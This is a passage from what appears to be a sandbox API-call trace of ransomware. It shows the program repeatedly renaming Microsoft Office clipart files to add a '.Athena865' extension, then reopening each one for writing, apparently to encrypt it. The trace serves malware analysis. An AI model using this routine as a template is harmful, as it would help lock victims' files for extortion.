hTemplateFile=0x0) returned 0x17c [0134.027] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4712) returned 1 [0134.030] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00308_.WMF" | out: lpString1="SL00308_.WMF") returned="SL00308_.WMF" [0134.030] lstrlenW (lpString="SL00308_.WMF") returned 12 [0134.030] lstrlenW (lpString="Athena865") returned 9 [0134.030] lstrcmpiW (lpString1="0308_.WMF", lpString2="Athena865") returned -1 [0134.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.Athena865") returned 73 [0134.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8416) returned 1 [0134.034] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00345_.WMF" | out: lpString1="SL00345_.WMF") returned="SL00345_.WMF" [0134.034] lstrlenW (lpString="SL00345_.WMF") returned 12 [0134.034] lstrlenW (lpString="Athena865") returned 9 [0134.034] lstrcmpiW (lpString1="0345_.WMF", lpString2="Athena865") returned -1 [0134.034] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.Athena865") returned 73 [0134.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.036] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2788) returned 1 [0134.038] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00452_.WMF" | out: lpString1="SL00452_.WMF") returned="SL00452_.WMF" [0134.038] lstrlenW (lpString="SL00452_.WMF") returned 12 [0134.038] lstrlenW (lpString="Athena865") returned 9 [0134.039] lstrcmpiW (lpString1="0452_.WMF", lpString2="Athena865") returned -1 [0134.039] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.Athena865") returned 73 [0134.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.040] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1344) returned 1 [0134.043] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00712_.WMF" | out: lpString1="SL00712_.WMF") returned="SL00712_.WMF" [0134.043] lstrlenW (lpString="SL00712_.WMF") returned 12 [0134.043] lstrlenW (lpString="Athena865") returned 9 [0134.043] lstrcmpiW (lpString1="0712_.WMF", lpString2="Athena865") returned -1 [0134.043] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.Athena865") returned 73 [0134.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.044] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7608) returned 1 [0134.047] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL01040_.WMF" | out: lpString1="SL01040_.WMF") returned="SL01040_.WMF" [0134.047] lstrlenW (lpString="SL01040_.WMF") returned 12 [0134.047] lstrlenW (lpString="Athena865") returned 9 [0134.047] lstrcmpiW (lpString1="1040_.WMF", lpString2="Athena865") returned -1 [0134.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.Athena865") returned 73 [0134.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.049] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3292) returned 1 [0134.051] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL01041_.WMF" | out: lpString1="SL01041_.WMF") returned="SL01041_.WMF" [0134.051] lstrlenW (lpString="SL01041_.WMF") returned 12 [0134.051] lstrlenW (lpString="Athena865") returned 9 [0134.051] lstrcmpiW (lpString1="1041_.WMF", lpString2="Athena865") returned -1 [0134.051] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.Athena865") returned 73 [0134.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.053] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1548) returned 1 [0134.055] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL01394_.WMF" | out: lpString1="SL01394_.WMF") returned="SL01394_.WMF" [0134.055] lstrlenW (lpString="SL01394_.WMF") returned 12 [0134.056] lstrlenW (lpString="Athena865") returned 9 [0134.056] lstrcmpiW (lpString1="1394_.WMF", lpString2="Athena865") returned -1 [0134.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.Athena865") returned 73 [0134.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.058] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6916) returned 1 [0134.060] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL01395_.WMF" | out: lpString1="SL01395_.WMF") returned="SL01395_.WMF" [0134.060] lstrlenW (lpString="SL01395_.WMF") returned 12 [0134.060] lstrlenW (lpString="Athena865") returned 9 [0134.060] lstrcmpiW (lpString1="1395_.WMF", lpString2="Athena865") returned -1 [0134.061] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.Athena865") returned 73 [0134.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.062] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5004) returned 1 [0134.065] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL01565_.WMF" | out: lpString1="SL01565_.WMF") returned="SL01565_.WMF" [0134.065] lstrlenW (lpString="SL01565_.WMF") returned 12 [0134.065] lstrlenW (lpString="Athena865") returned 9 [0134.065] lstrcmpiW (lpString1="1565_.WMF", lpString2="Athena865") returned -1 [0134.065] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.Athena865") returned 73 [0134.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.066] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27844) returned 1 [0134.070] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00017_.WMF" | out: lpString1="SO00017_.WMF") returned="SO00017_.WMF" [0134.070] lstrlenW (lpString="SO00017_.WMF") returned 12 [0134.070] lstrlenW (lpString="Athena865") returned 9 [0134.070] lstrcmpiW (lpString1="0017_.WMF", lpString2="Athena865") returned -1 [0134.070] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.Athena865") returned 73 [0134.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.072] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13994) returned 1 [0134.075] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00018_.WMF" | out: lpString1="SO00018_.WMF") returned="SO00018_.WMF" [0134.075] lstrlenW (lpString="SO00018_.WMF") returned 12 [0134.075] lstrlenW (lpString="Athena865") returned 9 [0134.075] lstrcmpiW (lpString1="0018_.WMF", lpString2="Athena865") returned -1 [0134.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.Athena865") returned 73 [0134.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13046) returned 1 [0134.080] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00152_.WMF" | out: lpString1="SO00152_.WMF") returned="SO00152_.WMF" [0134.080] lstrlenW (lpString="SO00152_.WMF") returned 12 [0134.080] lstrlenW (lpString="Athena865") returned 9 [0134.080] lstrcmpiW (lpString1="0152_.WMF", lpString2="Athena865") returned -1 [0134.080] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.Athena865") returned 73 [0134.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.082] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31360) returned 1 [0134.085] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00157_.WMF" | out: lpString1="SO00157_.WMF") returned="SO00157_.WMF" [0134.085] lstrlenW (lpString="SO00157_.WMF") returned 12 [0134.085] lstrlenW (lpString="Athena865") returned 9 [0134.085] lstrcmpiW (lpString1="0157_.WMF", lpString2="Athena865") returned -1 [0134.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.Athena865") returned 73 [0134.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18260) returned 1 [0134.091] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00159_.WMF" | out: lpString1="SO00159_.WMF") returned="SO00159_.WMF" [0134.091] lstrlenW (lpString="SO00159_.WMF") returned 12 [0134.091] lstrlenW (lpString="Athena865") returned 9 [0134.091] lstrcmpiW (lpString1="0159_.WMF", lpString2="Athena865") returned -1 [0134.092] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.Athena865") returned 73 [0134.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.095] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8230) returned 1 [0134.098] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00166_.WMF" | out: lpString1="SO00166_.WMF") returned="SO00166_.WMF" [0134.098] lstrlenW (lpString="SO00166_.WMF") returned 12 [0134.098] lstrlenW (lpString="Athena865") returned 9 [0134.098] lstrcmpiW (lpString1="0166_.WMF", lpString2="Athena865") returned -1 [0134.098] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.Athena865") returned 73 [0134.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.100] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13746) returned 1 [0134.103] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00168_.WMF" | out: lpString1="SO00168_.WMF") returned="SO00168_.WMF" [0134.103] lstrlenW (lpString="SO00168_.WMF") returned 12 [0134.103] lstrlenW (lpString="Athena865") returned 9 [0134.103] lstrcmpiW (lpString1="0168_.WMF", lpString2="Athena865") returned -1 [0134.103] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.Athena865") returned 73 [0134.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.105] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15150) returned 1 [0134.108] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00170_.WMF" | out: lpString1="SO00170_.WMF") returned="SO00170_.WMF" [0134.108] lstrlenW (lpString="SO00170_.WMF") returned 12 [0134.108] lstrlenW (lpString="Athena865") returned 9 [0134.108] lstrcmpiW (lpString1="0170_.WMF", lpString2="Athena865") returned -1 [0134.108] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.Athena865") returned 73 [0134.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8770) returned 1 [0134.114] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00177_.WMF" | out: lpString1="SO00177_.WMF") returned="SO00177_.WMF" [0134.114] lstrlenW (lpString="SO00177_.WMF") returned 12 [0134.114] lstrlenW (lpString="Athena865") returned 9 [0134.114] lstrcmpiW (lpString1="0177_.WMF", lpString2="Athena865") returned -1 [0134.114] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.Athena865") returned 73 [0134.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.116] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36622) returned 1 [0134.120] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00183_.WMF" | out: lpString1="SO00183_.WMF") returned="SO00183_.WMF" [0134.120] lstrlenW (lpString="SO00183_.WMF") returned 12 [0134.120] lstrlenW (lpString="Athena865") returned 9 [0134.120] lstrcmpiW (lpString1="0183_.WMF", lpString2="Athena865") returned -1 [0134.120] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.Athena865") returned 73 [0134.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.121] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10300) returned 1 [0134.128] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00190_.WMF" | out: lpString1="SO00190_.WMF") returned="SO00190_.WMF" [0134.128] lstrlenW 